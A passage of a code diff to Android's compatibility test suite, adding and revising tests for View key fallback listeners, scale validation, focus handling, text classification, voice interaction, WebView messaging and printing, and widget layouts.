MotionEvent ev = MotionEvent.obtain(0L, mTime, MotionEvent.ACTION_MOVE, mPx, mPy, 0);
mVelocityTracker.addMovement(ev);
ev.recycle();
@@ -201,9 +201,9 @@
if (errorVx > tolerance || errorVy > tolerance) {
fail(String.format("Velocity exceeds tolerance of %6.1f%%: "
+ "expected vx=%6.1f, vy=%6.1f. "
- + "actual vx=%6.1f (%6.1f%%), vy=%6.1f (%6.1f%%)",
+ + "actual vx=%6.1f (%6.1f%%), vy=%6.1f (%6.1f%%). %s",
tolerance * 100.0f, mVx, mVy,
- estimatedVx, errorVx * 100.0f, estimatedVy, errorVy * 100.0f));
+ estimatedVx, errorVx * 100.0f, estimatedVy, errorVy * 100.0f, message));
}
}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 831aa15..fb823b9 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -99,6 +99,7 @@
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
+import android.widget.TextView;
import com.android.compatibility.common.util.CtsMouseUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
@@ -133,6 +134,7 @@
private ViewTestCtsActivity mActivity;
private Resources mResources;
private MockViewParent mMockParent;
+ private Context mContext;
@Rule
public ActivityTestRule<ViewTestCtsActivity> mActivityRule =
@@ -145,11 +147,13 @@
@Before
public void setup() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = mInstrumentation.getTargetContext();
mActivity = mActivityRule.getActivity();
PollingCheck.waitFor(mActivity::hasWindowFocus);
mResources = mActivity.getResources();
mMockParent = new MockViewParent(mActivity);
- assertTrue(mActivity.waitForWindowFocus(5 * DateUtils.SECOND_IN_MILLIS));
+ PollingCheck.waitFor(5 * DateUtils.SECOND_IN_MILLIS, mActivity::hasWindowFocus);
+ assertTrue(mActivity.hasWindowFocus());
}
@Test
@@ -2385,6 +2389,109 @@
}
@Test
+ public void testKeyFallback() throws Throwable {
+ MockFallbackListener listener = new MockFallbackListener();
+ ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
+ // Attaching a fallback handler
+ TextView mockView1 = new TextView(mActivity);
+ mockView1.addKeyFallbackListener(listener);
+
+ // Before the view is attached, it shouldn't respond to anything
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertFalse(listener.fired());
+
+ // Once attached, it should start receiving fallback events
+ mActivityRule.runOnUiThread(() -> viewGroup.addView(mockView1));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertTrue(listener.fired());
+ listener.reset();
+
+ // If multiple on one view, last added should receive event first
+ MockFallbackListener listener2 = new MockFallbackListener();
+ listener2.mReturnVal = true;
+ mActivityRule.runOnUiThread(() -> mockView1.addKeyFallbackListener(listener2));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertTrue(listener2.fired());
+ assertFalse(listener.fired());
+ listener2.reset();
+
+ // If removed, it should not receive fallbacks anymore
+ mActivityRule.runOnUiThread(() -> {
+ mockView1.removeKeyFallbackListener(listener);
+ mockView1.removeKeyFallbackListener(listener2);
+ });
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertFalse(listener.fired());
+
+ mActivityRule.runOnUiThread(() -> mActivity.setContentView(R.layout.key_fallback_layout));
+ mInstrumentation.waitForIdleSync();
+ View higherInNormal = mActivity.findViewById(R.id.higher_in_normal);
+ View higherGroup = mActivity.findViewById(R.id.higher_group);
+ View lowerInHigher = mActivity.findViewById(R.id.lower_in_higher);
+ View lastButton = mActivity.findViewById(R.id.last_button);
+ View lastInHigher = mActivity.findViewById(R.id.last_in_higher);
+ View lastInNormal = mActivity.findViewById(R.id.last_in_normal);
+
+ View[] allViews = new View[]{higherInNormal, higherGroup, lowerInHigher, lastButton,
+ lastInHigher, lastInNormal};
+
+ // Test ordering by depth
+ listener.mReturnVal = true;
+ mActivityRule.runOnUiThread(() -> {
+ for (View v : allViews) {
+ v.addKeyFallbackListener(listener);
+ }
+ });
+ mInstrumentation.waitForIdleSync();
+
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lastInHigher, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> lastInHigher.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lowerInHigher, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> lowerInHigher.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(higherGroup, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> higherGroup.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lastButton, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> lastButton.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(higherInNormal, listener.mLastView);
+ listener.reset();
+
+ mActivityRule.runOnUiThread(() -> higherInNormal.removeKeyFallbackListener(listener));
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertEquals(lastInNormal, listener.mLastView);
+ listener.reset();
+
+ // Test "capture"
+ mActivityRule.runOnUiThread(() -> lastInNormal.requestFocus());
+ mInstrumentation.waitForIdleSync();
+ lastInNormal.setOnKeyListener((v, keyCode, event)
+ -> (keyCode == KeyEvent.KEYCODE_B && event.getAction() == KeyEvent.ACTION_UP));
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+ assertTrue(listener.fired()); // checks that both up and down were received
+ listener.reset();
+ }
+
+ @Test
public void testWindowVisibilityChanged() throws Throwable {
final MockView mockView = new MockView(mActivity);
final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
@@ -4340,6 +4447,42 @@
event.recycle();
}
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleXNaN() {
+ View view = new View(mContext);
+ view.setScaleX(Float.NaN);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleXPositiveInfinity() {
+ View view = new View(mContext);
+ view.setScaleX(Float.POSITIVE_INFINITY);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleXNegativeInfinity() {
+ View view = new View(mContext);
+ view.setScaleX(Float.NEGATIVE_INFINITY);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleYNaN() {
+ View view = new View(mContext);
+ view.setScaleY(Float.NaN);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleYPositiveInfinity() {
+ View view = new View(mContext);
+ view.setScaleY(Float.POSITIVE_INFINITY);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testScaleYNegativeInfinity() {
+ View view = new View(mContext);
+ view.setScaleY(Float.NEGATIVE_INFINITY);
+ }
+
private static class MockDrawable extends Drawable {
private boolean mCalledSetTint = false;
@@ -4691,6 +4834,29 @@
public View firstChild;
}
+ private static class MockFallbackListener implements View.OnKeyFallbackListener {
+ public View mLastView = null;
+ public boolean mGotUp = false;
+ public boolean mReturnVal = false;
+
+ @Override
+ public boolean onKeyFallback(View v, KeyEvent event) {
+ if (event.getAction() == KeyEvent.ACTION_DOWN) {
+ mLastView = v;
+ } else if (event.getAction() == KeyEvent.ACTION_UP) {
+ mGotUp = true;
+ }
+ return mReturnVal;
+ }
+ public void reset() {
+ mLastView = null;
+ mGotUp = false;
+ }
+ public boolean fired() {
+ return mLastView != null && mGotUp;
+ }
+ }
+
private static final Class<?> ASYNC_INFLATE_VIEWS[] = {
android.app.FragmentBreadCrumbs.class,
// DISABLED because it doesn't have a AppWidgetHostView(Context, AttributeSet)
diff --git a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
index 9766fa2..9117925 100644
--- a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
@@ -18,52 +18,13 @@
import android.app.Activity;
import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
import android.view.cts.R;
public class ViewTestCtsActivity extends Activity {
- private boolean mHasWindowFocus = false;
- private final Object mHasWindowFocusLock = new Object();
@Override
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
setContentView(R.layout.view_layout);
}
-
- @Override
- public void onWindowFocusChanged(boolean hasFocus) {
- super.onWindowFocusChanged(hasFocus);
- if (!hasFocus) {
- Log.w("ViewTestCtsActivity", "ViewTestCtsActivity lost window focus");
- }
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasFocus;
- mHasWindowFocusLock.notify();
- }
- }
-
- /**
- * Blocks the calling thread until the {@link ViewTestCtsActivity} has window focus or the
- * specified duration (in milliseconds) has passed.
- */
- public boolean waitForWindowFocus(long durationMillis) {
- long elapsedMillis = SystemClock.elapsedRealtime();
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasWindowFocus();
- while (!mHasWindowFocus && durationMillis > 0) {
- long newElapsedMillis = SystemClock.elapsedRealtime();
- durationMillis -= (newElapsedMillis - elapsedMillis);
- elapsedMillis = newElapsedMillis;
- if (durationMillis > 0) {
- try {
- mHasWindowFocusLock.wait(durationMillis);
- } catch (InterruptedException e) {
- }
- }
- }
- return mHasWindowFocus;
- }
- }
}
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index 21fdd89..ae780fb 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -227,6 +227,60 @@
@UiThreadTest
@Test
+ public void testEnabledHandling() {
+ Activity activity = mActivityRule.getActivity();
+
+ View v1 = activity.findViewById(R.id.view1);
+ View v2 = activity.findViewById(R.id.view2);
+ View v3 = activity.findViewById(R.id.view3);
+ View v4 = activity.findViewById(R.id.view4);
+
+ for (View v : new View[]{v1, v2, v3, v4}) v.setFocusable(true);
+
+ assertTrue(v1.requestFocus());
+
+ // disabled view should not be focusable
+ assertTrue(v1.hasFocus());
+ v1.setEnabled(false);
+ assertFalse(v1.hasFocus());
+ v1.requestFocus();
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(true);
+ v1.requestFocus();
+ assertTrue(v1.hasFocus());
+
+ // an enabled view should not take focus if not visible OR not enabled
+ v1.setEnabled(false);
+ v1.setVisibility(View.INVISIBLE);
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(true);
+ v1.requestFocus();
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(false);
+ v1.setVisibility(View.VISIBLE);
+ v1.requestFocus();
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(true);
+ v1.requestFocus();
+ assertTrue(v1.hasFocus());
+
+ // test hasFocusable
+ ViewGroup parent = (ViewGroup) v1.getParent();
+ assertTrue(parent.hasFocusable());
+ for (View v : new View[]{v1, v2, v3, v4}) v.setEnabled(false);
+ assertFalse(v1.isFocused());
+ assertFalse(v2.isFocused());
+ assertFalse(v3.isFocused());
+ assertFalse(v4.isFocused());
+ assertFalse(parent.hasFocusable());
+
+ // a view enabled while nothing has focus should get focus.
+ for (View v : new View[]{v1, v2, v3, v4}) v.setEnabled(true);
+ assertEquals(true, v1.isFocused());
+ }
+
+ @UiThreadTest
+ @Test
public void testFocusAuto() {
Activity activity = mActivityRule.getActivity();
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index 71ca678..125374d 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -29,6 +29,7 @@
import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassificationManager;
import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
import android.view.textclassifier.TextSelection;
import org.junit.Before;
@@ -42,7 +43,10 @@
private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
private static final int START = 1;
private static final int END = 3;
- private static final String TEXT = "text";
+ // This text has lots of things that are probably entities in many cases.
+ private static final String TEXT = "An email address is test@example.com. A phone number"
+ + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
+ + " and there's good stuff at https://www.android.com :)";
private TextClassificationManager mManager;
private TextClassifier mClassifier;
@@ -57,12 +61,14 @@
@Test
public void testSmartSelection() {
- assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
+ assertValidResult(mClassifier.suggestSelection(TEXT, START, END,
+ new TextSelection.Options().setDefaultLocales(LOCALES)));
}
@Test
public void testClassifyText() {
- assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+ assertValidResult(mClassifier.classifyText(TEXT, START, END,
+ new TextClassification.Options().setDefaultLocales(LOCALES)));
}
@Test
@@ -70,14 +76,16 @@
mManager.setTextClassifier(TextClassifier.NO_OP);
mClassifier = mManager.getTextClassifier();
- final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END, LOCALES);
+ final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END,
+ new TextSelection.Options().setDefaultLocales(LOCALES));
assertValidResult(selection);
assertEquals(START, selection.getSelectionStartIndex());
assertEquals(END, selection.getSelectionEndIndex());
assertEquals(0, selection.getEntityCount());
final TextClassification classification =
- mClassifier.classifyText(TEXT, START, END, LOCALES);
+ mClassifier.classifyText(TEXT, START, END,
+ new TextClassification.Options().setDefaultLocales(LOCALES));
assertValidResult(classification);
assertNull(classification.getText());
assertEquals(0, classification.getEntityCount());
@@ -88,6 +96,11 @@
}
@Test
+ public void testGenerateLinks() {
+ assertValidResult(mClassifier.generateLinks(TEXT, null));
+ }
+
+ @Test
public void testSetTextClassifier() {
final TextClassifier classifier = mock(TextClassifier.class);
mManager.setTextClassifier(classifier);
@@ -96,6 +109,8 @@
private static void assertValidResult(TextSelection selection) {
assertNotNull(selection);
+ assertTrue(selection.getSelectionStartIndex() >= 0);
+ assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
assertTrue(selection.getEntityCount() >= 0);
for (int i = 0; i < selection.getEntityCount(); i++) {
final String entity = selection.getEntity(i);
@@ -116,6 +131,22 @@
assertTrue(confidenceScore >= 0);
assertTrue(confidenceScore <= 1);
}
+ assertTrue(classification.getSecondaryActionsCount() >= 0);
+ }
+
+ private static void assertValidResult(TextLinks links) {
+ assertNotNull(links);
+ for (TextLinks.TextLink link : links.getLinks()) {
+ assertTrue(link.getEntityCount() > 0);
+ assertTrue(link.getStart() >= 0);
+ assertTrue(link.getStart() <= link.getEnd());
+ for (int i = 0; i < link.getEntityCount(); i++) {
+ String entityType = link.getEntity(i);
+ assertNotNull(entityType);
+ final float confidenceScore = link.getConfidenceScore(entityType);
+ assertTrue(confidenceScore >= 0);
+ assertTrue(confidenceScore <= 1);
+ }
+ }
}
}
-
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
index 6ada1b8..203be4d 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
@@ -20,6 +20,7 @@
import android.app.VoiceInteractor.Prompt;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.LauncherApps;
import android.os.AsyncTask;
import android.os.Bundle;
import android.service.voice.VoiceInteractionSession;
@@ -46,6 +47,10 @@
public void onCreate() {
super.onCreate();
Intent sessionStarted = new Intent();
+ sessionStarted.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ if (!getContext().getSystemService(LauncherApps.class).hasShortcutHostPermission()) {
+ sessionStarted.putExtra("error", "Does not have shortcut permission");
+ }
sessionStarted.setClassName("android.voiceinteraction.cts",
"android.voiceinteraction.cts.VoiceInteractionTestReceiver");
getContext().sendBroadcast(sessionStarted);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
index 07236b2..66c945a 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
@@ -71,7 +71,6 @@
if (!mHasFeature) {
return;
}
- VoiceInteractionTestReceiver.sServiceStartedLatch.await(5, TimeUnit.SECONDS);
assertTrue("Doesn't support LocalVoiceInteraction",
mTestActivity.isLocalVoiceInteractionSupported());
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
index 77c9f26..1abd00f 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
@@ -87,7 +87,7 @@
}
public void testAll() throws Exception {
- VoiceInteractionTestReceiver.sServiceStartedLatch.await(5, TimeUnit.SECONDS);
+ VoiceInteractionTestReceiver.waitSessionStarted(this, 5, TimeUnit.SECONDS);
if (!mHasFeature) {
Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
index 118f049..7f875c4 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
@@ -21,15 +21,31 @@
import android.content.Intent;
import android.util.Log;
+import junit.framework.TestCase;
+
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class VoiceInteractionTestReceiver extends BroadcastReceiver {
- public static CountDownLatch sServiceStartedLatch = new CountDownLatch(1);
+ private static CountDownLatch sServiceStartedLatch = new CountDownLatch(1);
+ private static Intent sReceivedIntent;
+
+ public static void waitSessionStarted(TestCase testCase, long timeout, TimeUnit unit)
+ throws InterruptedException {
+ if (!sServiceStartedLatch.await(5, TimeUnit.SECONDS)) {
+ testCase.fail("Timed out waiting for session to start");
+ }
+ String error = sReceivedIntent.getStringExtra("error");
+ if (error != null) {
+ testCase.fail(error);
+ }
+ }
@Override
public void onReceive(Context context, Intent intent) {
Log.i("VoiceInteractionTestReceiver", "Got broadcast that MainInteractionService started");
+ sReceivedIntent = intent;
sServiceStartedLatch.countDown();
}
}
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
index dbfb031..7c6cf53 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
@@ -135,6 +135,7 @@
private void broadcastResults() {
Intent intent = new Intent(Utils.BROADCAST_INTENT);
+ intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
intent.putExtras(mTotalInfo);
Log.i(TAG, "broadcasting: " + intent.toString() + ", Bundle = " + mTotalInfo.toString());
sendOrderedBroadcast(intent, null, new DoneReceiver(),
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index 83775df..6235c43 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -22,7 +22,7 @@
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
- <application android:maxRecents="1">
+ <application android:maxRecents="1" android:usesCleartextTraffic="true">
<provider android:name="android.webkit.cts.MockContentProvider"
android:exported="true"
android:authorities="android.webkit.cts.MockContentProvider" />
diff --git a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
index ecc3e4f..0fa239d 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
@@ -101,12 +101,26 @@
// Post a string message to main frame and make sure it is received.
public void testSimpleMessageToMainFrame() throws Throwable {
+ verifyPostMessageToOrigin(Uri.parse(BASE_URI));
+ }
+
+ // Post a string message to main frame passing a wildcard as target origin
+ public void testWildcardOriginMatchesAnything() throws Throwable {
+ verifyPostMessageToOrigin(Uri.parse("*"));
+ }
+
+ // Post a string message to main frame passing an empty string as target origin
+ public void testEmptyStringOriginMatchesAnything() throws Throwable {
+ verifyPostMessageToOrigin(Uri.parse(""));
+ }
+
+ private void verifyPostMessageToOrigin(Uri origin) throws Throwable {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
loadPage(TITLE_FROM_POST_MESSAGE);
WebMessage message = new WebMessage(WEBVIEW_MESSAGE);
- mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
+ mOnUiThread.postWebMessage(message, origin);
waitForTitle(WEBVIEW_MESSAGE);
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index 0708568..688fc33 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -898,8 +898,8 @@
}
private void clearClientCertPreferences() {
- final AtomicBoolean cleared = new AtomicBoolean(false);
- mOnUiThread.clearClientCertPreferences(new Runnable() {
+ final AtomicBoolean cleared = new AtomicBoolean(false);
+ WebView.clearClientCertPreferences(new Runnable() {
@Override
public void run() {
cleared.set(true);
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
old mode 100755
new mode 100644
index c1736db..79d5ec3
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -27,6 +27,7 @@
import android.graphics.Color;
import android.graphics.Picture;
import android.graphics.Rect;
+import android.graphics.pdf.PdfRenderer;
import android.net.Uri;
import android.os.Bundle;
import android.os.CancellationSignal;
@@ -38,6 +39,7 @@
import android.os.StrictMode;
import android.os.StrictMode.ThreadPolicy;
import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
import android.print.PageRange;
import android.print.PrintAttributes;
import android.print.PrintDocumentAdapter;
@@ -212,6 +214,7 @@
StrictMode.setThreadPolicy(oldPolicy);
}
+ @Presubmit
@UiThreadTest
public void testConstructor() {
if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -272,7 +275,7 @@
assertNotNull(CookieSyncManager.getInstance());
}
- @UiThreadTest
+ // Static methods should be safe to call on non-UI threads
public void testFindAddress() {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
@@ -2562,7 +2565,8 @@
// Called on UI thread
@Override
public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
- savePrintedPage(adapter, descriptor, result);
+ PageRange[] pageRanges = new PageRange[] {PageRange.ALL_PAGES};
+ savePrintedPage(adapter, descriptor, pageRanges, result);
}
});
try {
@@ -2580,6 +2584,57 @@
}
}
+ // Verify Print feature can create a PDF file with correct number of pages.
+ public void testPrintingPagesCount() throws Throwable {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+ String content = "<html><head></head><body>";
+ for (int i = 0; i < 500; ++i) {
+ content += "<br />abcdefghijk<br />";
+ }
+ content += "</body></html>";
+ mOnUiThread.loadDataAndWaitForCompletion(content, "text/html", null);
+ final PrintDocumentAdapter adapter = mOnUiThread.createPrintDocumentAdapter();
+ printDocumentStart(adapter);
+ PrintAttributes attributes = new PrintAttributes.Builder()
+ .setMediaSize(PrintAttributes.MediaSize.ISO_A4)
+ .setResolution(new PrintAttributes.Resolution("foo", "bar", 300, 300))
+ .setMinMargins(PrintAttributes.Margins.NO_MARGINS)
+ .build();
+ final WebViewCtsActivity activity = getActivity();
+ final File file = activity.getFileStreamPath(PRINTER_TEST_FILE);
+ final ParcelFileDescriptor descriptor = ParcelFileDescriptor.open(file,
+ ParcelFileDescriptor.parseMode("w"));
+ final FutureTask<Boolean> result =
+ new FutureTask<Boolean>(new Callable<Boolean>() {
+ public Boolean call() {
+ return true;
+ }
+ });
+ printDocumentLayout(adapter, null, attributes,
+ new LayoutResultCallback() {
+ // Called on UI thread
+ @Override
+ public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
+ PageRange[] pageRanges = new PageRange[] {
+ new PageRange(1, 1), new PageRange(4, 7)
+ };
+ savePrintedPage(adapter, descriptor, pageRanges, result);
+ }
+ });
+ try {
+ result.get(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+ assertTrue(file.length() > 0);
+ PdfRenderer renderer = new PdfRenderer(
+ ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY));
+ assertEquals(5, renderer.getPageCount());
+ } finally {
+ descriptor.close();
+ file.delete();
+ }
+ }
+
public void testVisualStateCallbackCalled() throws Exception {
// Check that the visual state callback is called correctly.
if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -2808,8 +2863,9 @@
}
private void savePrintedPage(final PrintDocumentAdapter adapter,
- final ParcelFileDescriptor descriptor, final FutureTask<Boolean> result) {
- adapter.onWrite(new PageRange[] {PageRange.ALL_PAGES}, descriptor,
+ final ParcelFileDescriptor descriptor, final PageRange[] pageRanges,
+ final FutureTask<Boolean> result) {
+ adapter.onWrite(pageRanges, descriptor,
new CancellationSignal(),
new WriteResultCallback() {
@Override
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index f7fa1d4..052d3b0 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -570,6 +570,14 @@
</intent-filter>
</activity>
+ <activity android:name="android.widget.cts.MagnifierCtsActivity"
+ android:label="MagnifierCtsActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<receiver android:name="android.widget.cts.appwidget.MyAppWidgetProvider" >
<intent-filter>
<action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
diff --git a/tests/tests/widget/res/layout/autocompletetextview_layout.xml b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
index 793dfb0..32eefb7 100644
--- a/tests/tests/widget/res/layout/autocompletetextview_layout.xml
+++ b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
@@ -18,6 +18,7 @@
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content">
+ <requestFocus />
<TextView android:id="@+id/autocompletetv_title"
android:layout_width="wrap_content"
diff --git a/tests/tests/widget/res/layout/list_popup_window.xml b/tests/tests/widget/res/layout/list_popup_window.xml
index bcf5893..fd9dcdf 100644
--- a/tests/tests/widget/res/layout/list_popup_window.xml
+++ b/tests/tests/widget/res/layout/list_popup_window.xml
@@ -19,6 +19,7 @@
android:id="@+id/main_container"
android:layout_width="match_parent"
android:layout_height="match_parent">
+ <requestFocus />
<android.widget.cts.MockViewForListPopupWindow
android:id="@+id/anchor_upper_left"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml b/tests/tests/widget/res/layout/magnifier_layout.xml
similarity index 73%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
copy to tests/tests/widget/res/layout/magnifier_layout.xml
index de52e61..989d33d 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
+++ b/tests/tests/widget/res/layout/magnifier_layout.xml
@@ -15,7 +15,9 @@
~ limitations under the License
-->
-<android.server.cts.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
-</android.server.cts.LifecycleLogView>
\ No newline at end of file
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/magnifier_layout"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/textview_layout.xml b/tests/tests/widget/res/layout/textview_layout.xml
index d311d75..9c22381 100644
--- a/tests/tests/widget/res/layout/textview_layout.xml
+++ b/tests/tests/widget/res/layout/textview_layout.xml
@@ -383,6 +383,52 @@
android:text="@string/sample_text"
android:justificationMode="inter_word" />
+ <TextView
